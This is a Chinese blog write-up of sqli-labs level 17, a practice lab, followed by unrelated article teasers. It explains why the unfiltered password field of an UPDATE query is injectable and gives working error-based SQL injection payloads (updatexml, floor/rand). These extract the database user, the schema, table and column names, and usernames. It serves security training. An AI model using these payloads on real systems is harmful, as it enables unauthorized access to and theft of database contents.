sqli-labs 第十七关

news2024/11/25 23:24:21

目录

找注入点:

源码分析:

测试:

奇怪现象:

        (1):当我们输入的密码为字符进行注入时。

        (2):当我们输入的密码为整数时。

产生原因:

解决方法:

开始注入:

            注入用户名:

           注入数据库名:

            注入表名:

             注入列名:

               注入具体值:


找注入点:

       

        经过我们的测试,当在密码出输入一个单引号时就会出现报错,对此注入点可能就在该位置。

       

源码分析:

       可以发现,这里使用update语句来修改用户的密码,并且对我们输入的用户名进行了过滤但并没有对密码进行过滤。并且允许sql语句报错,由此我们可以使用报错注入。

       

        

测试:

        在上面已经确认使用报错注入来完成,我们先测试看看能不能注入出数据。

奇怪现象:

        接下来我们一步一步注入。

        (1):当我们输入的密码为字符进行注入时。

        一:注入用户名

                admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#

        二:注入数据库名

                admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        三:注入表名

                admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

               这里,我们发现我们输入这句sql报了上面这个错误,但是我们的sql注入语句并没有写错。这就是我们的奇怪现象之一。

        (2):当我们输入的密码为整数时。

                我们接着上面测试注入表名。

                2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from                 information_schema.tables where table_schema='security'),0x7e),1)#

        这里我们发现当我们的密码为整数时就可以注入出数据。这就是第二个奇怪现象。

产生原因:

        经过我在各种论坛上去查找,终于找到了原因。

        (1):在Update语句中从左到右执行,当前面输入的密码为字符时并且到and时语法就会出现错误。之所以前面的用户名和数据库名会被爆出来,是因为user()和database()是mysql内置的函数,优先级较高,优先执行,所以会被爆出来。如下:

 admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#
admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        (2)当前面的输入的密码 为整数时,之所以可以被执行,是因为当我们输入的为整数时相当与给后面的语句加上了一个括号,并且有限执行括号中的内容。所以能够爆出数据。

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

解决方法:

        我们可以使用在前面输入的密码为整数的方式进行注入。也可以使用floor报错函数进行注入。

开始注入:

        我们使用前面密码为整数的方式来进行注入。

            注入用户名:

           2' and updatexml(1,concat(0x7e,(user()),0x7e),1)#

           注入数据库名:

                2' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

            注入表名:

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#      

                       

             注入列名:

2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)# 

        

               注入具体值:

23' and(select 1 from (select count(*),concat(substring((select group_concat(username) from users),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    

到此我们实验就完美注入了。

小插曲:

大家可以看到在最后注入具体值的时候我们使用的是floor进行注入,是因为当我们使用updatexml进行注入时会爆下面的问题: 等我查阅资料后回来改正。

2' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

总结:这里推荐大家使用floor进行报错注入,使用floor报错注入就不会出现任何问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1671668.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

孙宇晨对话大公网:香港Web3政策友好环境示范意义重大

日前,全球知名华文媒体大公网发布《湾区web3大有可为》重磅系列报道。报道通过对中国香港与大湾区其他城市Web3政策、行业创新和生态建设等方面的梳理,以及对行业领袖和重要行业机构的走访,全面展现了在大湾区一体化发展的背景下,Web3等数字经济模式在该地区的长远发展潜力。 …

基于Idea搭建Android开发环境

文章目录 下载SDK ManagerAndroid SDK Platform-toolsAndroid SDK Build-toolsAndroid SDKAndroid SDK Extras IDEA设置创建TestApp导入Android Studio创建的项目 下载SDK Manager SDK Manager是Google提供的,专门用于下载/管理,安卓开发中需要用到的工…

【MYSQL】一颗B+树可以保存多少条数据

引言 事万物都有自己的单元体系,若干个小单体组成一个个大的个体。就像拼乐高一样,可以自由组合。所以说,如果能熟悉最小单元,就意味着我们抓住了事物的本事,再复杂的问题也会迎刃而解。 存储单元 存储器范围比较大…

鸿蒙ArkUI开发:常用布局【交叉轴】

交叉轴 垂直于主轴方向的轴线。Row容器交叉轴为纵向,Column容器交叉轴为横向。通过alignItems属性设置子元素在交叉轴(排列方向的垂直方向)上的对齐方式alignSelf属性用于控制单个子元素在容器交叉轴上的对齐方式,其优先级高于al…

鸿蒙内核源码分析(内核态锁篇) | 如何实现快锁Futex(下)

本篇为快锁下篇,说清楚快锁在内核态的实现,解答以下问题,它们在上篇的末尾被提出来。 鸿蒙内核进程池默认上限是64个,除去两个内核进程外,剩下的都归属用户进程,理论上用户进程可以创建很多快锁&#xff0…

Wikimedia To Opensearch

概览 Wikimedia ⇒ Kafka ⇒ OpensearchJava Library:OKhttp3和OkHttp EventSource;生产者:Wikimedia:WikimediaChangeHandler和WikimediaChangeProducer;消费者:Opensearch:OpenSearchConsume…

【知识碎片】2024_05_13

本文记录了两道代码题【自除数】和【除自身以外数组的乘积】(利用了前缀积和后缀积,值得再看),第二部分记录了关于指针数组和逗号表达式的两道选择题。 每日代码 自除数 . - 力扣(LeetCode) /*** Note: T…

k8s StatefulSet

Statefulset 一个 Statefulset 创建的每个pod都有一个从零开始的顺序索引,这个会体现在 pod 的名称和主机名上,同样还会体现在 pod 对应的固定存储上。这些 pod 的名称是可预知的,它是由 Statefulset 的名称加该实例的顺序索引值组成的。不同…

JUC下的ThreadLocalRandom详解

ThreadLocalRandom 是Java并发包(java.util.concurrent)中提供的一个随机数生成器类,它是从Java 7开始引入的。相较于传统的Math.random()或Random类,ThreadLocalRandom更适用于多线程环境,因为它为每个线程维护了一个…

汇昌联信电商:拼多多新手怎么做店铺的免费流量会慢慢起来?

在拼多多上开店,新手们往往面临着如何吸引免费流量的挑战。毕竟,流量是店铺生存和发展的血脉,没有流量,就没有销量,店铺也就失去了生命力。那么,作为拼多多新手,如何做才能让店铺的免费流量慢慢…

设计模式Java实现-迭代器模式

✨这里是第七人格的博客✨小七,欢迎您的到来~✨ 🍅系列专栏:设计模式🍅 ✈️本篇内容: 迭代器模式✈️ 🍱 本篇收录完整代码地址:https://gitee.com/diqirenge/design-pattern 🍱 楔子 很久…

人脸识别技术在访客管理中的应用

访客办理体系,能够使用于政府、戎行、企业、医院、写字楼等众多场所。在办理时,需求对来访人员身份进行精确认证,才能保证来访人员的进入对被访单位不被外来风险入侵。在核实身份时,比较好的方法就是选用人脸辨认技能,…

RAG应用中的路由模式

依据的用户查询意图在 RAG 应用程序使用“路由控制模式”可以帮助我们创建更强大的 RAG 应用程序。我们通常希望用户能够访问的数据可以来自各种来源,如报告、文档、图片、数据库和第三方系统。 对于基于业务的 RAG 应用程序,我们可能还希望用户能够与其它业务系统进行交互,…

基于SpringBoot+Vue的教师个人成果管理系统

初衷 在后台收到很多私信是咨询毕业设计怎么做的?有没有好的毕业设计参考? 能感觉到现在的毕业生和当时的我有着同样的问题,但是当时的我没有被骗, 因为现在很多人是被骗的,还没有出学校还是社会经验少,容易相信别人…

嗨动PDF编辑器怎么进行PDF编辑?看完了解

嗨动PDF编辑器怎么进行PDF编辑?PDF作为一种通用的文档格式,被广泛应用于商务交流、学术研究、电子出版等多个领域。但当面对需要修改或调整PDF文件内容时,就需要一款功能强大的PDF编辑器。嗨动PDF编辑器,它拥有对用户友好的界面设…

对中介者模式的理解

目录 一、场景1、题目 【[来源](https://kamacoder.com/problempage.php?pid1094)】1.1 题目描述1.2 输入描述1.3 输出描述1.4 输入示例1.5 输出示例 二、不采用中介者设计模式1 代码2 问题 三、中介者设计模式1 代码2 更好的例子 四、个人思考 一、场景 设计模式不是银弹&am…

Postman基础功能-变量设置与使用

如果你因失去太阳而流泪,那你也将失去群星了。大家好,在 API 测试的广袤世界中,Postman 犹如一座闪耀的灯塔,为我们指引着前行的方向。而其中的全局变量、集合变量和环境变量,更是如同隐藏的宝藏,蕴含着巨大…

从3D模型到渲染:完整的流程指南---模大狮模型网

在当今数字化时代,3D模型和渲染技术在各个领域中扮演着至关重要的角色,从影视制作到建筑设计,从游戏开发到工程模拟。了解如何将3D模型转化为逼真的渲染图像是数字创意领域从业者的关键技能之一。本文将为您介绍从3D模型到渲染的完整流程&…

企业使用合同档案管理系统软件有什么好处

使用合同档案管理系统软件可以带来以下好处: 1. 提高效率:合同管理软件可以自动化合同流程,包括创建、审批、签署和归档等。通过自动化,可以节省大量时间和精力,提高工作效率。 2. 降低风险:玖拓档案合同管…

LVS + Keepalived 高可用群集

一、准备环境 主keepalived:172.168.1.11 lvs 备keepalived:172.168.1.12 lvs web1:172.168.1.13 web2:172.168.1.14 vip:172.168.1.100 客户机访问 关闭防火墙 二、配置 主keepalived 服务器 1. 安装…